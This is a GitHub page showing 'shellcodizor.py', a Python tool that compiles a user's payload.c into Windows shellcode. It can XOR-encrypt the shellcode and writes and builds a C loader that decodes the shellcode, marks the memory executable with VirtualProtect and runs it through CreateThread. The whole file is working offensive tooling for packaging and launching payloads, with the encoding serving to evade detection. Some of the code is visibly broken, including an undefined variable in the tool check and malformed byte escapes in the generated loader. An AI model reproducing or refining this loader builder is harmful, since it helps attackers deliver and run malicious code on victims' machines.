-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshellcodizor.py
More file actions
216 lines (193 loc) · 5.41 KB
/
Copy pathshellcodizor.py
File metadata and controls
216 lines (193 loc) · 5.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#!/usr/bin/env python3
import shutil
import sys
import os
import subprocess
from pathlib import Path
import random
import argparse
REQUIRED_TOOLS = {
"x86_64-w64-mingw32-gcc": "gcc-mingw-w64-x86-64",
"ld": "binutils",
}
def check_missing():
for command, package in REQUIRED_TOOLS.items():
if shutil.which(command) is None:
print("[!] Error : Required tools not found :")
for command, package in missing:
print(f" - {command} → paquet : {package}")
print("\nInstall for Debian/Ubuntu :")
print("sudo apt update")
print("sudo apt install gcc-mingw-w64-x86-64 binutils")
sys.exit(1)
def check_payload():
payload = Path.cwd() / "payload.c"
if not payload.is_file():
print("[!] Error : Your payload.c file is not in the current directory.")
sys.exit(1)
def generate_random_key():
return random.randint(1, 255)
def xor_encrypt(data: bytes, key):
encrypted = bytearray(data)
for i in range(len(encrypted)):
encrypted[i] ^= key
return bytes(encrypted)
def args(arr: list[str]):
return " ".join(arr)
def compile_and_extract():
BIN_PAYLOAD_CFLAGS = args(
[
"-Os",
"-fPIC",
"-nostdlib",
"-nostartfiles",
"-ffreestanding",
"-fno-asynchronous-unwind-tables",
"-fno-ident",
"-e start",
"-s",
]
)
print(f"[+] Compiling payload to object...")
c_to_o = f"x86_64-w64-mingw32-gcc-win32 -c payload.c -o payload.o {BIN_PAYLOAD_CFLAGS}"
subprocess.run(c_to_o, text=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True)
linker_content = """
OUTPUT_FORMAT("binary");
BASE = 0x00;
SECTIONS
{
. = BASE;
.text : {
. = BASE;
*(.text)
*(.func)
}
}
"""
with open("linker.ld", "w") as f:
f.write(linker_content)
print(f"[+] Linking object to binary...")
o_to_bin = f"ld -T linker.ld payload.o -o payload.bin"
subprocess.run(o_to_bin, text=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True)
with open("payload.bin", "rb") as f:
shellcode_bytes = bytearray(f.read())
print(f"[+] Shellcode generated.")
return shellcode_bytes
def build_exe(shellcode_bytes):
EXE_PAYLOAD_CFLAGS = args(["-fPIC", "-mconsole", "-Os", "-e start", "-nostartfiles"])
exe_builder = f"x86_64-w64-mingw32-gcc-win32 payload.o -o payload.exe {EXE_PAYLOAD_CFLAGS}"
subprocess.run(exe_builder, text=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True)
print(f"[+] Payload.exe generated.")
def build_loader(shellcode_bytes, xor_key):
c_code = [
"#include <windows.h>",
"#include <stdio.h>",
]
payload = ""
for byte in shellcode_bytes:
payload += "\\" + hex(byte).lstrip("0")
c_code.append(f"""
unsigned char payload[] = {{"{payload}"}};
unsigned int payload_len = sizeof(payload);
""")
if xor_key is not None:
c_code.append(f"""
static void dcode(unsigned char *inbuf, unsigned int bufsize)
{{
for (unsigned int i = 0; i < bufsize; ++i)
inbuf[i] ^= {xor_key};
}}
""")
c_code.append("""
int main(void)
{
void *exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec = VirtualAlloc(
0,
payload_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
""")
if xor_key is not None:
c_code.append("""
dcode(payload, payload_len);
""")
c_code.append("""
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(
exec,
payload_len,
PAGE_EXECUTE_READ,
&oldprotect
);
printf("[+] Exec...");
th = CreateThread(
0,
0,
(LPTHREAD_START_ROUTINE)exec,
0,
0,
0
);
WaitForSingleObject(th, INFINITE);
return 0;
}
""")
c_code = "\n".join(c_code)
with open("loader.c", "w") as f:
f.write(c_code)
command = [
"x86_64-w64-mingw32-gcc-win32",
"loader.c",
"-o",
"loader.exe",
]
print(f"[+] Building loader...")
subprocess.run(command, check=True)
print("[+] Loader built.")
def print_shellcode(shellcode_bytes, columns=16):
print("\n[+] Your autonomous shellcode :")
print(f"unsigned char payload[] = \\")
for i in range(0, len(shellcode_bytes), columns):
chunk = shellcode_bytes[i:i + columns]
ligne = "".join(f"\\x{byte:02x}" for byte in chunk)
suffixe = "" if i + columns >= len(shellcode_bytes) else ""
print(f'"{ligne}"{suffixe}')
print(";")
print(f"// Length: {len(shellcode_bytes)} bytes")
def clean():
cleaning = f"rm payload.o loader.c linker.ld"
subprocess.run(cleaning, text=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True)
if __name__ == "__main__":
print("####################################")
print("########### Sh3llc0d1z0r ###########")
print("####################################\n")
parser = argparse.ArgumentParser(
add_help=True,
description="Compile your payload.c and extract an autonomous shellcode."
)
parser.add_argument('-e', action='store_true', help='Also build the .exe file')
parser.add_argument('-x', action='store_true', help='Encrypt the shellcode with a random XOR key')
parser.add_argument('-v', action='store_true', help='Print your final autonomous shellcode bytes')
options = parser.parse_args()
check_missing()
check_payload()
shellcode_bytes = compile_and_extract()
if options.e:
build_exe(shellcode_bytes)
if options.x:
xor_key = generate_random_key()
encoded_shellcode_bytes = xor_encrypt(shellcode_bytes, xor_key)
build_loader(encoded_shellcode_bytes, xor_key)
else:
build_loader(shellcode_bytes, None)
clean()
print("\n* Everything seems ok :D *\n")
print("Your autonomous shellcode is in payload.bin")
print("You can execute the loader.exe to test it")
if options.v:
print_shellcode(shellcode_bytes)